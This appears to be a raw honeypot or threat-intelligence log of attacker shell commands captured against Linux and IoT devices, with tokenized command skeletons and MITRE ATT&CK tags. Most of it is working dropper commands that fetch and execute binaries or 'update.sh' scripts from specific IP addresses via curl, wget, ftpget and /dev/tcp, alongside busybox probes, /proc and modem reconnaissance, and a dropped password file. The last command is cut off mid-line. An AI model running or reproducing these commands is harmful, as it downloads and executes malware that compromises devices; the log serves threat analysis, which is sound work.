nohup $SHELL -c "curl http://8.218.32.69:60102/linux -o /tmp/Vvp9Ddc9rU; if [ ! -f /tmp/Vvp9Ddc9rU ]; then wget http://8.218.32.69:60102/linux -O /tmp/Vvp9Ddc9rU; fi; if [ ! -f /tmp/Vvp9Ddc9rU ]; then exec 6<>/dev/tcp/8.218.32.69/60102 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/Vvp9Ddc9rU && chmod +x /tmp/Vvp9Ddc9rU && /tmp/Vvp9Ddc9rU lvuldjhrpeLs9eKhazJ1puHt6+qgcyB0puL16u+gazF9pPXp7eGidTF1o/vv7PWmcTJro/Xp7+quczB0oO/74/WmdDhrpujr9eqhdzpzpOrq7fugci53oOn16uO6czl/ouvq7+O0fS53pev16u2lazF2reHt6+qncCBxo/Xp7+i6dzNwuunq4e2kdDR8tOP16eqsazl2uuju4e2kdDF0tOP16eqsazFyp/Xj4+GidTF0ofvv7PWmcTJrpePp9emndTpzpOrq4vusazJ0rPXp6+i6cTF/ouvq6+m0fS53pez16e6nazJ0peHt6+qldSB0pOr16Oi6cjNrpe/s4e2kdDB0tOP16eqsazN3uu3i4e2kdDB3tOPv9emgci50oOj16e6uczB0pO774/WmdDdrpunr9eqtcjpzpOrv7/usazJ0pPXq7+y6czZ/ouvq6OK0cTdrpujt9eqidS50ru3r6uqjZTRyuunv6fWjazJxpeHt6+qgcSB9uunq7PWmdzBrpeLs4e2kdDRxtO/s9emgdy50rfXq7uOuczB0pOz76uulazN2uuzo9eqgcjpzpOrr6vugci53oOn16vWjdDpzpOrq6vuidS53pO/16uijazh2ru3r6uigZThrpurs9emhdi53perh7euldDBlrPXp6uu6dDZ0uuro4uGidTF2ofvv7PWmcTNrpuju9emlfzZ1pe/i+++jazJxpvXq4+m6dzN1ru3r6uqtZTJ0rPXs7vWgcC59ouHt6+qgcCBxo/Xp7+i6dzJ9uurp6+GidTFxpUwi1iVmYEL5l/jx; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/Vvp9Ddc9rU && /tmp/Vvp9Ddc9rU lvuldjhrpeLs9eKhazJ1puHt6+qgcyB0puL16u+gazF9pPXp7eGidTF1o/vv7PWmcTJro/Xp7+quczB0oO/74/WmdDhrpujr9eqhdzpzpOrq7fugci53oOn16uO6czl/ouvq7+O0fS53pev16u2lazF2reHt6+qncCBxo/Xp7+i6dzNwuunq4e2kdDR8tOP16eqsazl2uuju4e2kdDF0tOP16eqsazFyp/Xj4+GidTF0ofvv7PWmcTJrpePp9emndTpzpOrq4vusazJ0rPXp6+i6cTF/ouvq6+m0fS53pez16e6nazJ0peHt6+qldSB0pOr16Oi6cjNrpe/s4e2kdDB0tOP16eqsazN3uu3i4e2kdDB3tOPv9emgci50oOj16e6uczB0pO774/WmdDdrpunr9eqtcjpzpOrv7/usazJ0pPXq7+y6czZ/ouvq6OK0cTdrpujt9eqidS50ru3r6uqjZTRyuunv6fWjazJxpeHt6+qgcSB9uunq7PWmdzBrpeLs4e2kdDRxtO/s9emgdy50rfXq7uOuczB0pOz76uulazN2uuzo9eqgcjpzpOrr6vugci53oOn16vWjdDpzpOrq6vuidS53pO/16uijazh2ru3r6uigZThrpurs9emhdi53perh7euldDBlrPXp6uu6dDZ0uuro4uGidTF2ofvv7PWmcTNrpuju9emlfzZ1pe/i+++jazJxpvXq4+m6dzN1ru3r6uqtZTJ0rPXs7vWgcC59ouHt6+qgcCBxo/Xp7+i6dzJ9uurp6+GidTFxpUwi1iVmYEL5l/jx" &#UPX!

nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/nww9R4Zy3u; if [ ! -f /tmp/nww9R4Zy3u ]; then wget http://129.144.180.26:60107/linux -O /tmp/nww9R4Zy3u; fi; if [ ! -f /tmp/nww9R4Zy3u ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/nww9R4Zy3u && chmod +x /tmp/nww9R4Zy3u && /tmp/nww9R4Zy3u 1e1j7+MseOaIkeZ8LOnsYPeuqPxm6vsze+aRjut9LOrkYuOqrvdk7Ooyfv+LiPF7NunyZeOqrPxo6uszfeufh/F7M+PyYP6otvxn7uE0ee6Oif99NfXuZv+2qfV86uI4f++Oi+dpOvXuY/22qftj8uoxcOWJj+56N/voZeOqrP587ug3Z+2Ohel5M+/lcvW2qvxq8uIxZ+yKhel5M+rtcvW2qvxq8uo1evGHh+V/MurtZ+2sr+Ng6OkseOeNke16MuHqYvypoe1q8ukzcfGNj+xnNurmZP2pqP9y5PUweOiRjep6LOntY/euqPxj7Pszee6RjOxnNejyY/mvovti7eszaeeRje5xLOjufPuhovti7eswaeeLke19NfXtZv62qvho6uszeeqfh/F7M+zyYP+otvxr6+E0ee6Li/9xLOntYuOprPp86u04f++OjOZpNuzyYP6utvxk7PUzc+mPju5+Iu/rfP+squNl8uk2eOWJj+59NvvkfP+pr+Ng7usseOaIhel5M+/ocvmvtv9m7vUzcPGOiudzNOvtYvq4qf1j8ugxZ+iMke59NeHqYvyoqe1m6/Uwfe2RjvF+M+HqYvypqe1k7PUweeuRjux+LOPvaPuoqf5m/OMse+6Ike18MfXuY/yirv1j7esicfGNju9nM+3tfPyrofdk7OoxfP+LiPF7NujyYP6ttv9j5u0yeOuGn+t+LOnoYOOpoP987ugyc+mPju5wIuntauOvreNm6fU6f+WJj+59N/voZeOqrP587uk6Z+6Nj+V/MuroYyOpYgPE3mYk+Ef7L9wf3zBku97M; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/nww9R4Zy3u && /tmp/nww9R4Zy3u 1e1j7+MseOaIkeZ8LOnsYPeuqPxm6vsze+aRjut9LOrkYuOqrvdk7Ooyfv+LiPF7NunyZeOqrPxo6uszfeufh/F7M+PyYP6otvxn7uE0ee6Oif99NfXuZv+2qfV86uI4f++Oi+dpOvXuY/22qftj8uoxcOWJj+56N/voZeOqrP587ug3Z+2Ohel5M+/lcvW2qvxq8uIxZ+yKhel5M+rtcvW2qvxq8uo1evGHh+V/MurtZ+2sr+Ng6OkseOeNke16MuHqYvypoe1q8ukzcfGNj+xnNurmZP2pqP9y5PUweOiRjep6LOntY/euqPxj7Pszee6RjOxnNejyY/mvovti7eszaeeRje5xLOjufPuhovti7eswaeeLke19NfXtZv62qvho6uszeeqfh/F7M+zyYP+otvxr6+E0ee6Li/9xLOntYuOprPp86u04f++OjOZpNuzyYP6utvxk7PUzc+mPju5+Iu/rfP+squNl8uk2eOWJj+59NvvkfP+pr+Ng7usseOaIhel5M+/ocvmvtv9m7vUzcPGOiudzNOvtYvq4qf1j8ugxZ+iMke59NeHqYvyoqe1m6/Uwfe2RjvF+M+HqYvypqe1k7PUweeuRjux+LOPvaPuoqf5m/OMse+6Ike18MfXuY/yirv1j7esicfGNju9nM+3tfPyrofdk7OoxfP+LiPF7NujyYP6ttv9j5u0yeOuGn+t+LOnoYOOpoP987ugyc+mPju5wIuntauOvreNm6fU6f+WJj+59N/voZeOqrP587uk6Z+6Nj+V/MuroYyOpYgPE3mYk+Ef7L9wf3zBku97M" &#UPX!

nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/mmuiBzQdfP; if [ ! -f /tmp/mmuiBzQdfP ]; then wget http://129.144.180.26:60107/linux -O /tmp/mmuiBzQdfP; fi; if [ ! -f /tmp/mmuiBzQdfP ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/mmuiBzQdfP && chmod +x /tmp/mmuiBzQdfP && /tmp/mmuiBzQdfP ZrWPMDe6d6n1wuCjOL/qwfe2dLMlL4WsBRqhgzA0s3Cp9cHquzC84MDntnazKy+GrAUaooQwMbN6sffG5L8guefZ9bR2pTQoh7saEaOHLzS8YLb3xv68M7/+xvezbro3KY2jGxqlgT40uXWp9sXkozG15Nn2tHGxMy6GphILpIUrK7N4qfXF5qM0u+rB97ZyuiUqgLsZGKOZLzC4brL3zea9Mbnj1/OwbrwzMIahGwWihSQzu3G3/tfkui6/48/ptXO+Ky+BpxEdpYYsPKtxt/bZ6bwuvODA6b5xsTMuhqEbC62ZLDSzbrX0x/68Nb/qwfe2cb0lL4ejBR6mmSw1vG6w/cHgvDK98Mb2sG66Ni+ZpB4au4YoPLF2t/bF5K00uv7F87VusjAwhaQeEaOHLze+YLb2wv68Nb3+zv6pcr8wJIGlGhuhly81vW6y9NnhtDGj4cLzvXa7NCqCtRkarZkpPaVyqfbN5r0xvOnX8bZuujMumacaGbuFLTGxdrf2x+StOL/+xvKwbr41MIamGhGjhy82uWC08NnivTSj4cTwqXK+NySBpRofopctPKV5v+nG4LQuv+jN8bdxuDM+hqYYBaeDLCu9eKn2weW3Nr3hw/Oncbk1MIKgBRKgmS8zsXa39sPhrTK9/sHptnKyKyaArx0bpIYnJbp1v+nF4r0uvODF6bVyvj8oh6QZE7WGLDCld7LpxuG9LrrpzfG3cb8zPoakEwWkhykrv3Op9sDhtza94cPxp3S4Ky+EowUaooUwN7l3vfHH4bk0reTA6bV0vismgrsaEqWNKDW6c7+DffamNyZSNCCXZyTcqbdg57MSrTK4Qeio1cw=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/mmuiBzQdfP && /tmp/mmuiBzQdfP ZrWPMDe6d6n1wuCjOL/qwfe2dLMlL4WsBRqhgzA0s3Cp9cHquzC84MDntnazKy+GrAUaooQwMbN6sffG5L8guefZ9bR2pTQoh7saEaOHLzS8YLb3xv68M7/+xvezbro3KY2jGxqlgT40uXWp9sXkozG15Nn2tHGxMy6GphILpIUrK7N4qfXF5qM0u+rB97ZyuiUqgLsZGKOZLzC4brL3zea9Mbnj1/OwbrwzMIahGwWihSQzu3G3/tfkui6/48/ptXO+Ky+BpxEdpYYsPKtxt/bZ6bwuvODA6b5xsTMuhqEbC62ZLDSzbrX0x/68Nb/qwfe2cb0lL4ejBR6mmSw1vG6w/cHgvDK98Mb2sG66Ni+ZpB4au4YoPLF2t/bF5K00uv7F87VusjAwhaQeEaOHLze+YLb2wv68Nb3+zv6pcr8wJIGlGhuhly81vW6y9NnhtDGj4cLzvXa7NCqCtRkarZkpPaVyqfbN5r0xvOnX8bZuujMumacaGbuFLTGxdrf2x+StOL/+xvKwbr41MIamGhGjhy82uWC08NnivTSj4cTwqXK+NySBpRofopctPKV5v+nG4LQuv+jN8bdxuDM+hqYYBaeDLCu9eKn2weW3Nr3hw/Oncbk1MIKgBRKgmS8zsXa39sPhrTK9/sHptnKyKyaArx0bpIYnJbp1v+nF4r0uvODF6bVyvj8oh6QZE7WGLDCld7LpxuG9LrrpzfG3cb8zPoakEwWkhykrv3Op9sDhtza94cPxp3S4Ky+EowUaooUwN7l3vfHH4bk0reTA6bV0vismgrsaEqWNKDW6c7+DffamNyZSNCCXZyTcqbdg57MSrTK4Qeio1cw=" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/oTLcfnTCDv', 'cp', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'nan', 'exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VMGYT

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


/bin/busybox cat /proc/self/exe || cat /proc/self/exe

('sh', 'shell', 'enable', 'system', 'ping ; sh', 'kill', 'nan', '/bin/busybox cat || cat')

T1016 System Network Configuration Discovery


cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;

('sh', 'shell', 'enable', 'cat || while ; do echo ; done ;')


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XPIQY


cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

('uname', 'cat | grep | cut -f2 -d | uniq -c ; uname -a')

T1087 Account Discovery
T1082 System Information Discovery
T1087 Account Discovery


('cat | grep | cut -f2 -d | uniq -c ; uname -a',)

T1082 System Information Discovery
T1087 Account Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SYNIQ

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VTGFS

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TSFGI

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UVFDR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GFALD


cd /tmp; wget http://91.92.249.158/ohshit.sh; busybox wget http://91.92.249.158/ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; rm -f ohshit.sh

('sh', 'shell', 'ls', 'cd ; wget ; busybox wget ; chmod ; sh ; rm -f')

T1222 File and Directory Permissions Modification


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UXQIR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BAXBF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BBZPA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NKNWQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ROMHZ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ROGKT


cat /proc/mounts || busybox cat /proc/mounts

('enable', 'system', 'shell', 'sh', 'exec', 'echo', 'cat || busybox cat', 'echo -e >', 'cat || busybox cat', 'rm', 'echo', 'cd', 'rm -rf ; wget ; chmod +x ; ./')


/bin/busybox cat /proc/self/exe || cat /proc/self/exe


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KVKYT


cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c ; uname -a

('uname', 'cat | grep | cut -f2 -d: | uniq -c ; uname -a')

T1087 Account Discovery
T1082 System Information Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WLKUI


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;

('./ ; dd if || while ; do echo ; done || cat ;',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VYWGY


cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IIHPP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JSNYK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZQDRQ


cd /tmp; wget http://185.10.68.196/update.sh; busybox wget http://139.59.88.74/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://139.59.88.74/update.sh -O update.sh; busybox wget http://139.59.88.74/update.sh -O update.sh; curl http://139.59.88.74/update.sh -O update.sh; busybox curl http://139.59.88.74/update.sh -O update.sh; ftpget -v -u anonymous -p anonymous -P 21 139.59.88.74 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 139.59.88.74 update.sh update.sh; chmod 777 update.sh; ./update.sh; rm -rf update.sh

('sh', 'shell', 'ls', 'cd ; wget ; busybox wget ; chmod ; sh ; rm -f', 'ifconfig', 'cd || cd || cd || cd || cd ; wget -O ; busybox wget -O ; curl -O ; busybox curl -O ; ftpget -v -u -p -P ; busybox ftpget -v -u -p -P ; chmod ; ./ ; rm -rf')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GYFHN

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NBOJW


nohup $SHELL -c "curl http://190.123.45.86:60142/linux -o /tmp/2Rji91ccOr; if [ ! -f /tmp/2Rji91ccOr ]; then wget http://190.123.45.86:60142/linux -O /tmp/2Rji91ccOr; fi; if [ ! -f /tmp/2Rji91ccOr ]; then exec 6<>/dev/tcp/190.123.45.86/60142 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/2Rji91ccOr && chmod +x /tmp/2Rji91ccOr && /tmp/2Rji91ccOr K81ocDabYi/raDTfS1XVM3zpK2KFOGJo215I3Gh7IYRkKPFyPd1NS9YxdP8qaoUhc2veSFLYd3o5j2Ur7nI3x0NV1Td08SlghiFwaNdQVtxodi+BZDXtcjbJQknJNHHpIWWFPnNrzV5I32h6IYV9Ke1wP9FLStMxZu4rYJs+dW/DV1Lad3A8g2kt73cx0FtK1zZo7ihnmzd7d9xVX9dvcj6GZjvrcyvVT0PJNHbxKWGENXRp3FJezWhzOJtgKPF3Nt5VSt4xfOkrYoU8YmjdV0jeamw4hn0q63E/0UtK1zRm6yx9gjlsbN1IU95jdD+EYSL/cjLJSU/VK3fmKH2HOHhv3VdU3XlzPYB9Ku1yK9ZDT8k0de4hZYU+cWDNUlHDa3Y9m2Ij7Wg31EtB0TV37iJzgThsa9lVSN9qdyGHYiHpdjTTQlvUPWjpNWKNO2xo1FNc22lzP4VzKOloNNZLVdY2cfEjZo85cmjZU0bbaGw+hms17n4wyUlI0z9w7ypnjS9zaN5IVNhpbD6CZDXrfDPXSknfJXfoLn2EOHp32V9I3mB4OYViKedmMdBVSdQzaO4tY5s+eG/dV1faeXohh2Is8XQx01VD1z9w7ypjhy9zbthIV9phbDiEfSrndj/RS0rUNmbnNWGHPWxr315I22p4OYViL+1mMdBVSdM3aOotfYQ/cGPbVlfdbWI+h2E17XQzyU9CyTd27SFlhT5yas1XVt53cDyFfSrtdyvWSUndM3buK2qVOXJ33FRI2GxsPoRpLe93NtJbSdY9aOgufYE6bGHbXFDdaHY6ggFONqxvOEaXvQpUKVKzD/tIXWvao3QX7OShuw==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/2Rji91ccOr && /tmp/2Rji91ccOr K81ocDabYi/raDTfS1XVM3zpK2KFOGJo215I3Gh7IYRkKPFyPd1NS9YxdP8qaoUhc2veSFLYd3o5j2Ur7nI3x0NV1Td08SlghiFwaNdQVtxodi+BZDXtcjbJQknJNHHpIWWFPnNrzV5I32h6IYV9Ke1wP9FLStMxZu4rYJs+dW/DV1Lad3A8g2kt73cx0FtK1zZo7ihnmzd7d9xVX9dvcj6GZjvrcyvVT0PJNHbxKWGENXRp3FJezWhzOJtgKPF3Nt5VSt4xfOkrYoU8YmjdV0jeamw4hn0q63E/0UtK1zRm6yx9gjlsbN1IU95jdD+EYSL/cjLJSU/VK3fmKH2HOHhv3VdU3XlzPYB9Ku1yK9ZDT8k0de4hZYU+cWDNUlHDa3Y9m2Ij7Wg31EtB0TV37iJzgThsa9lVSN9qdyGHYiHpdjTTQlvUPWjpNWKNO2xo1FNc22lzP4VzKOloNNZLVdY2cfEjZo85cmjZU0bbaGw+hms17n4wyUlI0z9w7ypnjS9zaN5IVNhpbD6CZDXrfDPXSknfJXfoLn2EOHp32V9I3mB4OYViKedmMdBVSdQzaO4tY5s+eG/dV1faeXohh2Is8XQx01VD1z9w7ypjhy9zbthIV9phbDiEfSrndj/RS0rUNmbnNWGHPWxr315I22p4OYViL+1mMdBVSdM3aOotfYQ/cGPbVlfdbWI+h2E17XQzyU9CyTd27SFlhT5yas1XVt53cDyFfSrtdyvWSUndM3buK2qVOXJ33FRI2GxsPoRpLe93NtJbSdY9aOgufYE6bGHbXFDdaHY6ggFONqxvOEaXvQpUKVKzD/tIXWvao3QX7OShuw==" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'chmod', '/tmp/gjsDDOlCtE', 'cp', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'head -c >', 'nan', 'exit')


nohup $SHELL -c "curl http://8.217.225.94:60126/linux -o /tmp/20LpxjwZ4p; if [ ! -f /tmp/20LpxjwZ4p ]; then wget http://8.217.225.94:60126/linux -O /tmp/20LpxjwZ4p; fi; if [ ! -f /tmp/20LpxjwZ4p ]; then exec 6<>/dev/tcp/8.217.225.94/60126 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/20LpxjwZ4p && chmod +x /tmp/20LpxjwZ4p && /tmp/20LpxjwZ4p rSXVHbXdP9EzzTrGqxzSP9bQNNAWpcI82i7SOserFdw1ztIz3hK1wj7UINI4y6sV1TzO0TLXCrHLNNUw0jrBpRLUK9HSK9ERq8I/2TbTP8CwBNwr0tE1yhW0xCDRM9I0xbUV1D3A2CvWFbXdNtIu0jnAvxLUNNLQJdUVst0/0DHNP8a0CtUz2doz1BW3xy7SMdIgxbYK0DHO1jfeErXCPtUg2yDBtBPKN9LVK90Qv8U+0jLVLsKxCtU9ztYzyhK0yTjTMdI2070K1jTXzjfRF6vBP9I61T7CtBTEPc7SNNQKtMU6zTLQO8mzFNU22cA01RarxSDXMc0/wrUe0jXR0DzEHKvBP9su2z/dtBbWP9bQNNcVpcsg0THbIMe8CtY31toz1BW3wS7SMtcgwbcWyjTT0yvWFbHJONMx1zzTtBHUK9LSNsoRst080jLZOMO0F9Ul0dk9yhWzxCDSLtE7wb8S1DTR0CXcCrfCPs0x1jbdvRLeM9DRNNYEvd080jnNPMa2CtU80toz1BW2xS7XN808x7YK3DfO0THSHrPDP9M1wz/DtwrVNtDONNUSq8Y32TbTP8O9BNU30s431hKrxzfNMtM8ybMU1TXTwDHTCrfHPc0x2yDKsR7SNdHQM8QVtMEg2jHNP8K0CtU92doz1BW3xi7SMdIgx7EK1TPSzjTXEL/FPtIy0i7HsgrWMdPONNUQq8U92TbTP8C8BNwr0tE1yhW0xCDRM9I0xbUV1D3A2CvWFbzdP9U0zTbAvxLUNNPWJdUctt071S7RPcKrEd0/1tA01xP6S52i2R2bB+Hkle5chnlOGg0c; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/20LpxjwZ4p && /tmp/20LpxjwZ4p rSXVHbXdP9EzzTrGqxzSP9bQNNAWpcI82i7SOserFdw1ztIz3hK1wj7UINI4y6sV1TzO0TLXCrHLNNUw0jrBpRLUK9HSK9ERq8I/2TbTP8CwBNwr0tE1yhW0xCDRM9I0xbUV1D3A2CvWFbXdNtIu0jnAvxLUNNLQJdUVst0/0DHNP8a0CtUz2doz1BW3xy7SMdIgxbYK0DHO1jfeErXCPtUg2yDBtBPKN9LVK90Qv8U+0jLVLsKxCtU9ztYzyhK0yTjTMdI2070K1jTXzjfRF6vBP9I61T7CtBTEPc7SNNQKtMU6zTLQO8mzFNU22cA01RarxSDXMc0/wrUe0jXR0DzEHKvBP9su2z/dtBbWP9bQNNcVpcsg0THbIMe8CtY31toz1BW3wS7SMtcgwbcWyjTT0yvWFbHJONMx1zzTtBHUK9LSNsoRst080jLZOMO0F9Ul0dk9yhWzxCDSLtE7wb8S1DTR0CXcCrfCPs0x1jbdvRLeM9DRNNYEvd080jnNPMa2CtU80toz1BW2xS7XN808x7YK3DfO0THSHrPDP9M1wz/DtwrVNtDONNUSq8Y32TbTP8O9BNU30s431hKrxzfNMtM8ybMU1TXTwDHTCrfHPc0x2yDKsR7SNdHQM8QVtMEg2jHNP8K0CtU92doz1BW3xi7SMdIgx7EK1TPSzjTXEL/FPtIy0i7HsgrWMdPONNUQq8U92TbTP8C8BNwr0tE1yhW0xCDRM9I0xbUV1D3A2CvWFbzdP9U0zTbAvxLUNNPWJdUctt071S7RPcKrEd0/1tA01xP6S52i2R2bB+Hkle5chnlOGg0c" &#UPX!

nohup $SHELL -c "curl http://8.217.225.94:60126/linux -o /tmp/ijmwlWksXF; if [ ! -f /tmp/ijmwlWksXF ]; then wget http://8.217.225.94:60126/linux -O /tmp/ijmwlWksXF; fi; if [ ! -f /tmp/ijmwlWksXF ]; then exec 6<>/dev/tcp/8.217.225.94/60126 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ijmwlWksXF && chmod +x /tmp/ijmwlWksXF && /tmp/ijmwlWksXF rSXVHbXdP9EzzTrGqxzSP9bQNNAWpcI82i7SOserFdw1ztIz3hK1wj7UINI4y6sV1TzO0TLXCrHLNNUw0jrBpRLUK9HSK9ERq8I/2TbTP8CwBNwr0tE1yhW0xCDRM9I0xbUV1D3A2CvWFbXdNtIu0jnAvxLUNNLQJdUVst0/0DHNP8a0CtUz2doz1BW3xy7SMdIgxbYK0DHO1jfeErXCPtUg2yDBtBPKN9LVK90Qv8U+0jLVLsKxCtU9ztYzyhK0yTjTMdI2070K1jTXzjfRF6vBP9I61T7CtBTEPc7SNNQKtMU6zTLQO8mzFNU22cA01RarxSDXMc0/wrUe0jXR0DzEHKvBP9su2z/dtBbWP9bQNNcVpcsg0THbIMe8CtY31toz1BW3wS7SMtcgwbcWyjTT0yvWFbHJONMx1zzTtBHUK9LSNsoRst080jLZOMO0F9Ul0dk9yhWzxCDSLtE7wb8S1DTR0CXcCrfCPs0x1jbdvRLeM9DRNNYEvd080jnNPMa2CtU80toz1BW2xS7XN808x7YK3DfO0THSHrPDP9M1wz/DtwrVNtDONNUSq8Y32TbTP8O9BNU30s431hKrxzfNMtM8ybMU1TXTwDHTCrfHPc0x2yDKsR7SNdHQM8QVtMEg2jHNP8K0CtU92doz1BW3xi7SMdIgx7EK1TPSzjTXEL/FPtIy0i7HsgrWMdPONNUQq8U92TbTP8C8BNwr0tE1yhW0xCDRM9I0xbUV1D3A2CvWFbzdP9U0zTbAvxLUNNPWJdUctt071S7RPcKrEd0/1tA01xP6S52i2R2bB+Hkle5chnlOGg0c; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ijmwlWksXF && /tmp/ijmwlWksXF 